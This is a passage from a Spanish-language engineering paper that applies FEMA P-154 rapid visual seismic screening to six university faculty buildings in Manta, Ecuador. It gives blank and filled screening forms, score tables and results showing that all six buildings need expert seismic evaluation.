FOTOGRAFÍA				Dirección: _____ Código Postal: _____ Otra identificación: _____ Nombre del Edificio: _____ Uso: _____ Latitud: _____ Longitud: _____ Ss: _____ S1: _____ Inspector(s): _____ Fecha/Hora: _____ No. Pisos: _____ Grado superior: _____ Grado inferior: _____ Año de Construcción: _____ Superficie total del Suelo (sq. Ft.): _____ Código año: _____ Adiciones: ☐ Ninguna ☐ Sí, Años Construcción: _____ Ocupación: Asamblea ☐ Comercial ☐ Ser. Emergencia ☐ Histórico ☐ Albergue Industrial ☐ Oficina ☐ Escuela ☐ Gobierno Utilidad ☐ Almacén ☐ Unid. Residenciales: _____ Tipo de Suelo: A ☐ B ☐ C ☐ D ☐ E ☐ F ☐ DNK Roca Roca Suelo Suelo Suelo Suelo Si DNK, asumir Tipo D. Dura Débil Denso Duro Blando pobre Riesgos Geológicos: Litificación: Si/No/No sé Deslizamientos: Si/No/No sé Rup. Superf.: Yes/No/No sé Adyacencia: ☐ Golpes ☐ Peligro de Caída del Edificio Adyacente Irregularidad: ☐ Vertical (tipo/severidad) ☐ Plan (tipo) Caída de Exterior: ☐ Chimeneas sin soporte lateral ☐ Revestimiento pesado o de chapa de madera Peligros: ☐ Parapetos ☐ Apéndices ☐ Otros: _____ COMENTARIOS: ☐ Dibujos Adicionales o comentarios en página separada.																																																																																																																																																																																																														
				BOSQUEJO																																																																																																																																																																																																														
				NOTA DE BASE, MODIFICADORES, Y ÚLTIMA PUNTUACIÓN NIVEL 1, SL1																																																																																																																																																																																																														
				<table border="1" style="width: 100%; border-collapse: collapse;"> <thead> <tr> <th style="width: 15%;">FEMA TIPO DE EDIFICIO</th> <th style="width: 5%;">No Sabemos</th> <th style="width: 5%;">W1</th> <th style="width: 5%;">W1A</th> <th style="width: 5%;">W2</th> <th style="width: 5%;">S1 (MRF)</th> <th style="width: 5%;">S2 (BR)</th> <th style="width: 5%;">S3 (LM)</th> <th style="width: 5%;">S4 (RC SW)</th> <th style="width: 5%;">S5 (URM INF)</th> <th style="width: 5%;">C1 (MRF)</th> <th style="width: 5%;">C2 (SW)</th> <th style="width: 5%;">C3 (URM NF)</th> <th style="width: 5%;">PC1 (TV)</th> <th style="width: 5%;">PC2</th> <th style="width: 5%;">RM1 (FD)</th> <th style="width: 5%;">RM2 (RD)</th> <th style="width: 5%;">URM</th> <th style="width: 5%;">MH</th> </tr> </thead> <tbody> <tr> <td>Puntaje Básico</td> <td>3,6</td> <td>3,2</td> <td>2,9</td> <td>2,1</td> <td>2,0</td> <td>2,6</td> <td>2,0</td> <td>1,7</td> <td>1,5</td> <td>2,0</td> <td>1,2</td> <td>1,6</td> <td>1,4</td> <td>1,7</td> <td>1,7</td> <td>1,0</td> <td>1,5</td> </tr> <tr> <td>Irregularidad Vertical Grave, VL1</td> <td>-1,2</td> <td>-1,2</td> <td>-1,2</td> <td>-1,0</td> <td>-1,0</td> <td>-1,1</td> <td>-1,0</td> <td>-0,8</td> <td>-0,9</td> <td>-1,0</td> <td>-0,7</td> <td>-1,0</td> <td>-0,9</td> <td>-0,9</td> <td>-0,9</td> <td>-0,7</td> <td>NA</td> </tr> <tr> <td>Irregularidad Vertical Moderada, VL2</td> <td>-0,7</td> <td>-0,7</td> <td>-0,7</td> <td>-0,6</td> <td>-0,6</td> <td>-0,7</td> <td>-0,6</td> <td>-0,5</td> <td>-0,5</td> <td>-0,6</td> <td>-0,4</td> <td>-0,6</td> <td>-0,5</td> <td>-0,5</td> <td>-0,4</td> <td>NA</td> </tr> <tr> <td>Plan de Irregularidad, PL1</td> <td>-1,1</td> <td>-1,0</td> <td>-1,0</td> <td>-0,8</td> <td>-0,7</td> <td>-0,9</td> <td>-0,7</td> <td>-0,6</td> <td>-0,6</td> <td>-0,8</td> <td>-0,5</td> <td>-0,7</td> <td>-0,6</td> <td>-0,7</td> <td>-0,7</td> <td>-0,4</td> <td>NA</td> </tr> <tr> <td>Pre-Código</td> <td>-1,1</td> <td>-1,0</td> <td>-0,9</td> <td>-0,6</td> <td>-0,6</td> <td>-0,8</td> <td>-0,6</td> <td>-0,2</td> <td>-0,4</td> <td>-0,7</td> <td>-0,1</td> <td>-0,5</td> <td>-0,3</td> <td>-0,5</td> <td>-0,5</td> <td>0,00</td> <td>-0,1</td> </tr> <tr> <td>Posterior-año de Referencia</td> <td>1,6</td> <td>1,9</td> <td>2,2</td> <td>1,4</td> <td>1,4</td> <td>1,1</td> <td>1,9</td> <td>NA</td> <td>1,9</td> <td>2,1</td> <td>NA</td> <td>2,0</td> <td>2,4</td> <td>2,1</td> <td>2,1</td> <td>NA</td> <td>1,2</td> </tr> <tr> <td>Suelo Tipo A o B</td> <td>0,1</td> <td>0,3</td> <td>0,5</td> <td>0,4</td> <td>0,6</td> <td>0,1</td> <td>0,6</td> <td>0,5</td> <td>0,4</td> <td>0,5</td> <td>0,3</td> <td>0,6</td> <td>0,4</td> <td>0,5</td> <td>0,5</td> <td>0,3</td> <td>0,3</td> </tr> <tr> <td>Suelo Tipo E (1-3 Pisos)</td> <td>0,2</td> <td>0,2</td> <td>0,1</td> <td>-0,2</td> <td>-0,4</td> <td>0,2</td> <td>-0,1</td> <td>-0,4</td> <td>0,0</td> <td>0,0</td> <td>-0,2</td> <td>-0,3</td> <td>-0,1</td> <td>-0,1</td> <td>-0,1</td> <td>-0,2</td> <td>-0,4</td> </tr> <tr> <td>Suelo Tipo E (>3 Pisos)</td> <td>0,3</td> <td>-0,6</td> <td>-0,9</td> <td>-0,6</td> <td>-0,6</td> <td>NA</td> <td>-0,6</td> <td>-0,4</td> <td>-0,5</td> <td>-0,7</td> <td>-0,3</td> <td>NA</td> <td>-0,4</td> <td>-0,5</td> <td>-0,6</td> <td>-0,2</td> <td>NA</td> </tr> <tr> <td>Puntaje Mínimo <i>SL1</i></td> <td>1,1</td> <td>0,9</td> <td>0,7</td> <td>0,5</td> <td>0,5</td> <td>0,6</td> <td>0,5</td> <td>0,5</td> <td>0,3</td> <td>0,3</td> <td>0,3</td> <td>0,2</td> <td>0,2</td> <td>0,3</td> <td>0,3</td> <td>0,2</td> <td>1,0</td> </tr> </tbody> </table>													FEMA TIPO DE EDIFICIO	No Sabemos	W1	W1A	W2	S1 (MRF)	S2 (BR)	S3 (LM)	S4 (RC SW)	S5 (URM INF)	C1 (MRF)	C2 (SW)	C3 (URM NF)	PC1 (TV)	PC2	RM1 (FD)	RM2 (RD)	URM	MH	Puntaje Básico	3,6	3,2	2,9	2,1	2,0	2,6	2,0	1,7	1,5	2,0	1,2	1,6	1,4	1,7	1,7	1,0	1,5	Irregularidad Vertical Grave, VL1	-1,2	-1,2	-1,2	-1,0	-1,0	-1,1	-1,0	-0,8	-0,9	-1,0	-0,7	-1,0	-0,9	-0,9	-0,9	-0,7	NA	Irregularidad Vertical Moderada, VL2	-0,7	-0,7	-0,7	-0,6	-0,6	-0,7	-0,6	-0,5	-0,5	-0,6	-0,4	-0,6	-0,5	-0,5	-0,4	NA	Plan de Irregularidad, PL1	-1,1	-1,0	-1,0	-0,8	-0,7	-0,9	-0,7	-0,6	-0,6	-0,8	-0,5	-0,7	-0,6	-0,7	-0,7	-0,4	NA	Pre-Código	-1,1	-1,0	-0,9	-0,6	-0,6	-0,8	-0,6	-0,2	-0,4	-0,7	-0,1	-0,5	-0,3	-0,5	-0,5	0,00	-0,1	Posterior-año de Referencia	1,6	1,9	2,2	1,4	1,4	1,1	1,9	NA	1,9	2,1	NA	2,0	2,4	2,1	2,1	NA	1,2	Suelo Tipo A o B	0,1	0,3	0,5	0,4	0,6	0,1	0,6	0,5	0,4	0,5	0,3	0,6	0,4	0,5	0,5	0,3	0,3	Suelo Tipo E (1-3 Pisos)	0,2	0,2	0,1	-0,2	-0,4	0,2	-0,1	-0,4	0,0	0,0	-0,2	-0,3	-0,1	-0,1	-0,1	-0,2	-0,4	Suelo Tipo E (>3 Pisos)	0,3	-0,6	-0,9	-0,6	-0,6	NA	-0,6	-0,4	-0,5	-0,7	-0,3	NA	-0,4	-0,5	-0,6	-0,2	NA	Puntaje Mínimo <i>SL1</i>	1,1	0,9	0,7	0,5	0,5	0,6	0,5	0,5	0,3	0,3	0,3	0,2	0,2
FEMA TIPO DE EDIFICIO	No Sabemos	W1	W1A	W2	S1 (MRF)	S2 (BR)	S3 (LM)	S4 (RC SW)	S5 (URM INF)	C1 (MRF)	C2 (SW)	C3 (URM NF)	PC1 (TV)	PC2	RM1 (FD)	RM2 (RD)	URM	MH																																																																																																																																																																																																
Puntaje Básico	3,6	3,2	2,9	2,1	2,0	2,6	2,0	1,7	1,5	2,0	1,2	1,6	1,4	1,7	1,7	1,0	1,5																																																																																																																																																																																																	
Irregularidad Vertical Grave, VL1	-1,2	-1,2	-1,2	-1,0	-1,0	-1,1	-1,0	-0,8	-0,9	-1,0	-0,7	-1,0	-0,9	-0,9	-0,9	-0,7	NA																																																																																																																																																																																																	
Irregularidad Vertical Moderada, VL2	-0,7	-0,7	-0,7	-0,6	-0,6	-0,7	-0,6	-0,5	-0,5	-0,6	-0,4	-0,6	-0,5	-0,5	-0,4	NA																																																																																																																																																																																																		
Plan de Irregularidad, PL1	-1,1	-1,0	-1,0	-0,8	-0,7	-0,9	-0,7	-0,6	-0,6	-0,8	-0,5	-0,7	-0,6	-0,7	-0,7	-0,4	NA																																																																																																																																																																																																	
Pre-Código	-1,1	-1,0	-0,9	-0,6	-0,6	-0,8	-0,6	-0,2	-0,4	-0,7	-0,1	-0,5	-0,3	-0,5	-0,5	0,00	-0,1																																																																																																																																																																																																	
Posterior-año de Referencia	1,6	1,9	2,2	1,4	1,4	1,1	1,9	NA	1,9	2,1	NA	2,0	2,4	2,1	2,1	NA	1,2																																																																																																																																																																																																	
Suelo Tipo A o B	0,1	0,3	0,5	0,4	0,6	0,1	0,6	0,5	0,4	0,5	0,3	0,6	0,4	0,5	0,5	0,3	0,3																																																																																																																																																																																																	
Suelo Tipo E (1-3 Pisos)	0,2	0,2	0,1	-0,2	-0,4	0,2	-0,1	-0,4	0,0	0,0	-0,2	-0,3	-0,1	-0,1	-0,1	-0,2	-0,4																																																																																																																																																																																																	
Suelo Tipo E (>3 Pisos)	0,3	-0,6	-0,9	-0,6	-0,6	NA	-0,6	-0,4	-0,5	-0,7	-0,3	NA	-0,4	-0,5	-0,6	-0,2	NA																																																																																																																																																																																																	
Puntaje Mínimo <i>SL1</i>	1,1	0,9	0,7	0,5	0,5	0,6	0,5	0,5	0,3	0,3	0,3	0,2	0,2	0,3	0,3	0,2	1,0																																																																																																																																																																																																	
FINAL PUNTAJE NIVEL 1, SL1± 5MIN <table border="1" style="width: 100%; border-collapse: collapse;"> <tr> <td style="width: 40%; vertical-align: top;"> Alcance de Control Exterior: ☐ Parcial ☐ Todos los lados ☐ Aéreo Interior: ☐ Ninguna ☐ Visible Dibujo comentado: ☐ Sí ☐ No Tipo de fuente de Suelo: _____ Tipo de fuente peligro Geológico: _____ Persona de Contacto: _____ LEVEL 2 SCREENING PERFORMED? ☐ Yes, Final Level 2 Score, SL2 _____ ☐ No Nonstructural hazards? ☐ Yes ☐ No </td> <td style="width: 30%; vertical-align: top;"> OTROS RIESGOS ¿Hay peligros que provocan una evaluación detallada estructural? ☐ Golpeado potencial (a menos SL2 si línea de corte si se conoce) ☐ Riesgo de caída de mas edificios altos adyacentes ☐ Riesgos Geológicos o Tipo de Suelo ☐ Daños significativos / deterioro al sistema estructural. </td> <td style="width: 30%; vertical-align: top;"> ACCION REQUERIDA Detallado estructural de evaluación requerida? ☐ Si, tipo de edificio desconoce FEMA u otro edificio. ☐ Si, el resultado da menos que el de corte ☐ Si, si presentan otros peligros. ☐ No Evaluación detallada no estructural recomendada? ☐ Si, los peligros no estructurales identificados que deben ser evaluados ☐ No, existen peligros no estructurales que pueden requerir la mitigación, sino una evaluación detallada no es necesaria ☐ No, no hay peligros no estructurales identificados ☐ DNK </td> </tr> </table>																		Alcance de Control Exterior: ☐ Parcial ☐ Todos los lados ☐ Aéreo Interior: ☐ Ninguna ☐ Visible Dibujo comentado: ☐ Sí ☐ No Tipo de fuente de Suelo: _____ Tipo de fuente peligro Geológico: _____ Persona de Contacto: _____ LEVEL 2 SCREENING PERFORMED? ☐ Yes, Final Level 2 Score, SL2 _____ ☐ No Nonstructural hazards? ☐ Yes ☐ No	OTROS RIESGOS ¿Hay peligros que provocan una evaluación detallada estructural? ☐ Golpeado potencial (a menos SL2 si línea de corte si se conoce) ☐ Riesgo de caída de mas edificios altos adyacentes ☐ Riesgos Geológicos o Tipo de Suelo ☐ Daños significativos / deterioro al sistema estructural.	ACCION REQUERIDA Detallado estructural de evaluación requerida? ☐ Si, tipo de edificio desconoce FEMA u otro edificio. ☐ Si, el resultado da menos que el de corte ☐ Si, si presentan otros peligros. ☐ No Evaluación detallada no estructural recomendada? ☐ Si, los peligros no estructurales identificados que deben ser evaluados ☐ No, existen peligros no estructurales que pueden requerir la mitigación, sino una evaluación detallada no es necesaria ☐ No, no hay peligros no estructurales identificados ☐ DNK																																																																																																																																																																																														
Alcance de Control Exterior: ☐ Parcial ☐ Todos los lados ☐ Aéreo Interior: ☐ Ninguna ☐ Visible Dibujo comentado: ☐ Sí ☐ No Tipo de fuente de Suelo: _____ Tipo de fuente peligro Geológico: _____ Persona de Contacto: _____ LEVEL 2 SCREENING PERFORMED? ☐ Yes, Final Level 2 Score, SL2 _____ ☐ No Nonstructural hazards? ☐ Yes ☐ No	OTROS RIESGOS ¿Hay peligros que provocan una evaluación detallada estructural? ☐ Golpeado potencial (a menos SL2 si línea de corte si se conoce) ☐ Riesgo de caída de mas edificios altos adyacentes ☐ Riesgos Geológicos o Tipo de Suelo ☐ Daños significativos / deterioro al sistema estructural.	ACCION REQUERIDA Detallado estructural de evaluación requerida? ☐ Si, tipo de edificio desconoce FEMA u otro edificio. ☐ Si, el resultado da menos que el de corte ☐ Si, si presentan otros peligros. ☐ No Evaluación detallada no estructural recomendada? ☐ Si, los peligros no estructurales identificados que deben ser evaluados ☐ No, existen peligros no estructurales que pueden requerir la mitigación, sino una evaluación detallada no es necesaria ☐ No, no hay peligros no estructurales identificados ☐ DNK																																																																																																																																																																																																																
<p style="text-align: center;">Cuando la información no puede ser verificada, se criba en cuenta lo siguiente: EST = estimado o datos fiables o DNK un = No lo sé</p> <table border="1" style="width: 100%; border-collapse: collapse;"> <tr> <td style="width: 20%;">Leyenda</td> <td style="width: 20%;">MRF= Momento resistente marco</td> <td style="width: 20%;">RC= Concreto Reforzado</td> <td style="width: 20%;">URM INF= Mampostería de relleno no reforzada.</td> </tr> <tr> <td></td> <td>BR= Marco arriostrado</td> <td>SW= Muro de Corte</td> <td>TU= Levantarse</td> </tr> <tr> <td></td> <td>MH= Casas Manufacturadas</td> <td>FD= Diafragma Flexible</td> <td></td> </tr> <tr> <td></td> <td>LM= Metal Ligero</td> <td>RD= Diafragma rígido</td> <td></td> </tr> </table>																		Leyenda	MRF= Momento resistente marco	RC= Concreto Reforzado	URM INF= Mampostería de relleno no reforzada.		BR= Marco arriostrado	SW= Muro de Corte	TU= Levantarse		MH= Casas Manufacturadas	FD= Diafragma Flexible			LM= Metal Ligero	RD= Diafragma rígido																																																																																																																																																																																		
Leyenda	MRF= Momento resistente marco	RC= Concreto Reforzado	URM INF= Mampostería de relleno no reforzada.																																																																																																																																																																																																															
	BR= Marco arriostrado	SW= Muro de Corte	TU= Levantarse																																																																																																																																																																																																															
	MH= Casas Manufacturadas	FD= Diafragma Flexible																																																																																																																																																																																																																
	LM= Metal Ligero	RD= Diafragma rígido																																																																																																																																																																																																																

Exploración rápida visual de los edificios de posibles riesgos sísmicos.
FEMA P-154 Formulario de Recolección de Datos.

Nivel 2 (Opcional)
Alta Sísmicidad

La recopilación de datos de nivel 2 opcional al ser realizada por un profesional de la ingeniería civil o estructural, un arquitecto o un estudiante graduado con experiencia en la evaluación y el diseño de edificios sísmicos.

Nombre edificio:	Puntaje Final Nivel 1: S_{L1} = (no se considera S_{WEC})		
Inspector:	Modificadores de Irregularidad Nivel 1:	Vertical irregularity, V_{L1} =	Irregularidad planta, P_{L1} =
Fecha/Hora:	PUNTAJE BASE AJUSTADO: $S' = [S_{L1} - V_{L1} - P_{L1}] =$		

MODIFICADORES ESTRUCTURAL PARA AGREGAR A LA PUNTUACIÓN DE REFERENCIA AJUSTADA					
Tema	Declaración (Si la declaración es verdad, encierre el modificador en un círculo el "Si", sino tachar el modificador)	Si	Subtotales		
Irregularidad Vertical, V_{L2}	Pendiente	Edificio W1: Hay por lo menos un completo cambio de grado de piso desde el lado del edificio al otro.	-1,2		
	en sitio	No Edificio W1: Hay por lo menos un completo cambio de grado de piso desde el lado del edificio al otro.	-0,3		
		Edificio W1 pared baja: Una pared baja sin refuerzo es visible en el espacio de rastreo	-0,6		
		W1 casa de garaje: Debajo de un piso que ocupa, hay una apertura de garaje sin un marco de acero y de momento hay menos de 20 cm de pared en la misma línea (para múltiples pisos ocupados anteriormente, utilizar 40 cm mínimo de pared).	-1,2		
		W1 Un edificio abierto de frente: Hay aberturas en el suelo de los pisos (como para el estacionamiento) en por lo menos 50% de la longitud del edificio.	-1,2		
		No edificio W1: Longitud del sistema lateral en cualquier piso es menor que 50% del piso superior o la altura de cualquier piso es mas de dos veces la altura del piso superior.	-0,9		
	Y/o blando (maximo encierre en un círculo)	No edificio W1: Longitud del sistema lateral en cualquier piso es entre el 50% y el 75% de los del piso superior o la altura de cualquier piso es entre 1,3 y 2,0 veces la altura del piso superior.	-0,5		
		Caidas	Elementos verticales del sistema lateral en un piso superior están por fuera de los del piso de abajo haciendo el desplazamiento en el diafragma a voladizo.		-1,0
		Elementos verticales del sistema lateral en plantas superiores estan por dentro de los que estan en pisos inferiores.	-0,5		
	Columna/Pilar Corta	Hay un desplazamiento de los elementos laterales que es mayor que la longitud de los elementos en el plano.	-0,3		
C1, C2, C3, PC1, PC2, RM1, RM2: Al menos 20% de columnas (o pilares) a lo largo del eje de la columna en el sistema lateral tienen relaciones altura/ancho de menos de 50% de la relación altura/ancho nominal a ese nivel.		-0,5			
C1, C2, C3, PC1, PC2, RM1, RM2: El ancho de la columna (o ancho de pilar) es menos de la mitad del ancho de la enjuta o hay paredes adyacentes o suelos de relleno que acortan la columna.		-0,5			
Dividido	Hay un nivel de división en uno de los niveles de piso o en el techo	-0,5	$V_{L2} =$		
Otras	Hay otra irregularidad grave vertical observable que obviamente afecta al comportamiento sísmico del edificio	-1,0			
Irregularidad	Hay otra irregularidad vertical moderada observable que puede afectar al comportamiento sísmico del edificio.	-0,5			
Irregularidad Planta, P_{L2}	Sistema lateral no aparece relativamente bien distribuida en planta en cualquiera o ambas direcciones. (No incluya la irregularidad frente abierto W1A enumerados anteriormente).		-0,7	$P_{L2} =$	
	Sistema no paralelo: Hay uno o más principales elementos verticales del sistema lateral que no son ortogonales entre sí.		-0,4		
	Esquina reentrante. Ambas proyecciones, desde la esquina interior superen el 25% de la dimensión global del plan en esa dirección.		-0,4		
	Abertura de diafragma. Hay una abertura en el diafragma con una anchura de más de 50% del total al ancho de diafragma en ese nivel.		-0,2		
	Edificio C1, C2 desplazado fuera del plano: Las vigas exteriores no se alinean con las columnas en el plano.		-0,4		
	Otra irregularidad. Hay otra irregularidad plana observable que obviamente afecta al comportamiento sísmico de los edificios.		-0,7		
			-0,7		
			-0,7		
Exceso	El edificio tiene al menos dos tramos de elementos laterales en cada lado del edificio en cada dirección.		0,3	$P_{L2} =$	
Golpeando	El edificio se separa de una estructura adyacente en menos del 3% de la altura de la mas corta del edificio y estructura adyacente y:	Las plantas no se alinean verticalmente dentro de 60 cm	-1,0		
	Un edificio es de 2 o más pisos más alto que el otro.	golpeteo	-1,0		
	El edificio se encuentra al final del bloque.	modificadores de -1,2	-0,5		
Edificio S2	"K" geometría de arriostamiento es visible		-1,0		
Edificio C1	Placa plana sirve como la viga en el marco de momento.		-0,4		
Edificio PC1/RM1	There are roof-to-wall ties that are visible or known from drawings that do not rely on cross-grain bending (Do not combine with post - benchmark or retrofit modifier)		0,3		
PC1/RM1 Bldg	El edificio tiene espacios estrechos, alturas llenas de las paredes interiores (en lugar de un espacio interior con algunas paredes interiores como en un almacén)		0,3		
	URM	Gabletes de paredes están presentes.		-0,4	
	IMH	Hay un sistema de soporte sísmico suplementario proporcionado entre el carro y el suelo.		1,2	
	Reequipamiento	Reforzamiento sísmico integral es visible o conocido a partir de dibujos		1,4	

PUNTAJE FINAL NIVEL 2, $S_{L2} = (S' + V_{L2} + P_{L2} + M) \geq S_{MIN}$: (Trasladado al formulario de evaluación)

Hay un daño o deterioro observable u otra condición que afecta negativamente al comportamiento sísmico del edificio: ☐ Si ☐ No

En caso afirmativo, describir la condición en el cuadro de comentarios a continuación e indicar en el formulario de nivel 1 que la evaluación detallada se requiere anotar independiente de los edificios

PELIGROS NO ESTRUCTURALES OBSERVABLES				
Ubicación	Declaración (Marque "Si" o "No")	Si	No	Comentario
Exterior	Hay un parapeto de mampostería no reforzada no arriostrado o chimenea de mampostería no reforzada no arriostrado			
	Hay revestimiento pesado o chapa pesada.			
	Hay una gran cubierta sobre las puertas de salida o pasarelas de peatones que parece apoyado de manera adecuada.			
	Hay un accesorio de mampostería no reforzada sobre las puertas de salida o zonas peatonales.			
	Hay un letrero en el edificio que indica los materiales peligrosos están presentes.			
	Hay un edificio URM adyacente más alto con una pared no anclada o parapeto URM no arriostrado o chimenea			
Interior	Otros riesgo de caída exterior no estructural observado:			
	Hay teja de barro o ladrillo hueco particiones en cualquier escalera o salida pasillo.			
	Otros peligros no estructurales interiores que caen observados.			

Rendimiento sísmico estimado para no estructural (Marque la casilla apropiada y traslade al Nivel 1 del formulario conclusiones)

☐ Peligros no estructurales potenciales con amenaza significativa para la seguridad de la vida del inquilino - Detallado no estructural evaluación recomendada

☐ Peligros no estructurales identificados con amenaza significativa para la seguridad de la vida de los ocupantes - Detallado no estructural evaluación necesaria.

☐ Baja o ninguna amenaza de peligro estructural de seguridad de la vida del ocupante- Detallado no estructural No se requiere evaluación

Comentarios:

RESULTADOS Y DISCUSIÓN

En base a la metodología propuesta por FEMA P-154 se procedió a realizar las evaluaciones visuales rápidas a seis Facultades de la matriz de la Universidad Laica Eloy Alfaro de Manabí de la ciudad de Manta, valorando en sitio cada uno de los parámetros solicitados en el Formulario.

En el Formulario 1 se utilizó la columna C3 para valorar los edificios de la ULEAM, ya que esta corresponde a la tipología estructural de ellos, es decir “Edificio con estructura de hormigón con paredes de relleno de mampostería no reforzada”.

Durante la evaluación visual se logró ingresar a cada uno de los edificios, razón por la cual se pudo constatar con mayor veracidad el estado de cada uno de ellos. En la Fig. 6 se presenta un formulario lleno correspondiente a la Facultad de Enfermería con la finalidad de mostrar la manera de completar la información requerida en esta herramienta de evaluación visual rápida.

Los resultados obtenidos en cada una de las seis Facultades se indican en la Tabla

Facultad	Puntaje obtenido	Validación	Necesita evaluación de un profesional experto en diseño sísmico?
Ingeniería	0.6	$0.6 < 2.0$	Sí
Trabajo Social	0.3	$0.3 < 2.0$	Sí
Informática	0.6	$0.6 < 2.0$	Sí
Enfermería	0.6	$0.6 < 2.0$	Sí
Economía	0.7	$0.7 < 2.0$	Sí
Odontología	0.7	$0.7 < 2.0$	Sí

Exploración rápida visual de los edificios para los posibles riesgos sísmicos
FEMA P-154 Formulario de Recolección de Datos

Nivel 1
ALTA Sismicidad

BOSQUEJO

Dirección: Universidad Laica Eloy Alfaro de Manabí
Código Postal: EC130802

Otra Identificación: Segunda Puerta de acceso de la Universidad
Nombre del Edificio: Facultad de Enfermería
Uso: Educativo

Latitud: -0.952101 **Longitud:** -80.704172
Ss: - **S1:** -

Inspector(s): C. Romero & J. Tovar **Fecha/Hora:** 18/12/2018 - 11H30

No. Pisos: Grado superior: 3 Grado inferior: - **Año de Construcción:** -
Superficie total del Suelo (sq. Ft.): - **Código año:** -

Adiciones: ☒ Ninguna ☐ Sí, Años Construcción: -

Ocupación:
☐ Asamblea ☐ Comercial ☐ Ser. Emergencia ☐ Histórico ☐ Albergue
☐ Industrial ☐ Oficina ☒ Escuela ☐ Gobierno
☐ Utilidad ☐ Almacén ☐ Unid. Residenciales

Tipo de Suelo:
☐ A ☐ B ☐ C ☒ D ☐ E ☐ F ☐ DNK
 Roca Roca Suelo Suelo Suelo Suelo
 Dura Débil Denso Duro Blando pobre
 Si DNK, asumir Tipo D.

Riesgos Geológicos: ☐ Licuefacción: Si/No/No sé ☐ Deslizamientos: Si/No/No sé ☐ Rup. Superf.: Yes/No/No sé

Adyacencia: ☐ Golpes ☐ Peligro de Caída del Edificio Adyacente

Irregularidad: ☐ Vertical (tipo/severidad)
☐ Plan (tipo)

Caída de Exterior: ☐ Chimeneas sin soporte lateral ☐ Revestimiento pesado o de chapa de madera p
Peligros: ☒ Parapetos ☐ Apéndices
☐ Otros:

COMENTARIOS:

☐ Dibujos Adicionales o comentarios en página separada.

FEMA TIPO DE EDIFICIO	No Sabemos	W1	W1A	W2	S1 (MRF)	S2 (BR)	S3 (LM)	S4 (RC SW)	S5 (URMIN F)	C1 (MRF)	C2 (SW)	C3 (URMI NF)	PC1 (TV)	PC2	RM1 (FD)	RM2 (RD)	URM	MH
Puntaje Básico	3,6	3,2	2,9	2,1	2,0	2,6	2,0	1,7	1,5	2,0	1,2	1,6	1,4	1,7	1,7	1,0	1,5	
Irregularidad Vertical Grave, VL1	-1,2	-1,2	-1,2	-1,0	-1,0	-1,1	-1,0	-0,8	-0,9	-1,0	-0,7	-1,0	-0,9	-0,9	-0,9	-0,7	NA	
Irregularidad Vertical Moderada, VL2	-0,7	-0,7	-0,7	-0,6	-0,6	-0,7	-0,6	-0,5	-0,5	-0,6	-0,4	-0,6	-0,5	-0,5	-0,5	-0,4	NA	
Plan de Irregularidad, PL1	-1,1	-1,0	-1,0	-0,8	-0,7	-0,9	-0,7	-0,6	-0,6	-0,8	-0,5	-0,7	-0,6	-0,7	-0,7	-0,4	NA	
Pre-Código	-1,1	-1,0	-0,9	-0,6	-0,6	-0,8	-0,6	-0,2	-0,4	-0,7	-0,1	-0,5	-0,3	-0,5	-0,5	0,00	-0,1	
Posterior-año de Referencia	1,6	1,9	2,2	1,4	1,4	1,1	1,9	NA	1,9	2,1	NA	2,0	2,4	2,1	2,1	NA	1,2	
Suelo Tipo A o B	0,1	0,3	0,5	0,4	0,6	0,1	0,6	0,5	0,4	0,5	0,3	0,6	0,4	0,5	0,5	0,3	0,3	
Suelo Tipo E (1-3 Pisos)	0,2	0,2	0,1	-0,2	-0,4	0,2	-0,1	-0,4	0,0	0,0	-0,2	-0,3	-0,1	-0,1	-0,1	-0,2	-0,4	
Suelo Tipo E (>3 Pisos)	0,3	-0,6	-0,9	-0,6	-0,6	NA	-0,6	-0,4	-0,5	-0,7	-0,3	NA	-0,4	-0,5	-0,6	-0,2	NA	
Puntaje Mínimo S _{MIN}	1,1	0,9	0,7	0,5	0,5	0,6	0,5	0,5	0,3	0,3	0,3	0,2	0,2	0,3	0,3	0,2	1,0	

FINAL PUNTAJE NIVEL 1, SL1 ≥ S_{MIN}

Alcance de Control

Exterior: ☐ Parcial ☒ Todos los ☐ Aéreo

Interior: ☐ Ninguna ☒ Visible

Dibujo comentado: ☐ Sí ☒ No

Tipo de fuente de Suelo: _____

Tipo de fuente peligro Geológico: _____

Persona de Contacto: _____

LEVEL 2 SCREENING PERFORMED?

☐ Yes, Final Level 2 Score, SL2 _____ ☐ No

Nonstructural hazards? ☐ Yes ☐ No

OTROS RIESGOS

¿Hay peligros que provocan una evaluación detallada estructural?

☐ Golpeado potencial (a menos SL2 > línea de corte se conoce)

☐ Riesgo de caída de mas edificios altos adyacentes

☒ Riesgos Geológicos o Tipo de Suelo dañados significativos / deterioro al sistema estructural.

ACCION REQUERIDA

Detallado estructural de evaluación requerida?

☐ Si, tipo de edificio desconoce FEMA u otro edificio.

☐ Si, el resultado da menos que el de corte

☒ Si, si presentan otros peligros.

☐ No

Evaluación detallada no estructural recomendada?

☒ Si, los peligros no estructurales identificados que deben ser evaluados

☐ No, existen peligros no estructurales que pueden requerir la mitigación, sino una evaluación detallada no es necesaria

☐ No, no hay peligros no estructurales identificados DNK

Cuando la información no puede ser verificada, se criba en cuenta lo siguiente: EST = estimado o datos fiables o DNK un = No lo sé

Leyenda	MRF= Momento resistente marco	RC= Concreto Reforzado	URM INF= Mampostería de relleno no reforzada.
	BR= Marco arriostrado	SW= Muro de Corte	TU= Levantarse
	MH= Casas Manufacturadas	FD= Diafragma Flexible	
	LM= Metal Ligero	RD= Diafragma rígido	

CONCLUSIONES.

Mediante la aplicación de la metodología de evaluación visual rápida presentada por FEMA P-154, se logró determinar que los seis edificios evaluados de la Universidad Laica Eloy Alfaro de Manabí podrían ser potencialmente peligrosos desde el punto de vista sísmico, por lo que se hace necesario que un profesional experto en diseño sísmico de estructuras de hormigón armado los evalúe para determinar si efectivamente son potencialmente peligrosos y diseñar un reforzamiento que ayude a cada uno de ellos para lograr el nivel de desempeño sísmico deseado ante futuros terremotos.

Cabe indicar que para zonas de alta sismicidad como lo es la ciudad de Manta, prácticamente todos los edificios de hormigón armado rellenos con mampostería no reforzada podrían ser potencialmente peligrosos desde el punto de vista sísmico, cuando se aplica el Formulario 1 de FEMA P-154.

REFERENCIAS BIBLIOGRÁFICAS

ATC. (2015). Rapid Visual Screening of Buildings for Potential Seismic Hazards: A Handbook. Federal Emergency Management Agency, FEMA P-154, 3ra Edición. Washington, D.C.

Barbat, A. H, Lantada N., Pujades L., Carreño L., Cardona O. (2014). Evaluación del riesgo sísmico de Barcelona, Madrid.

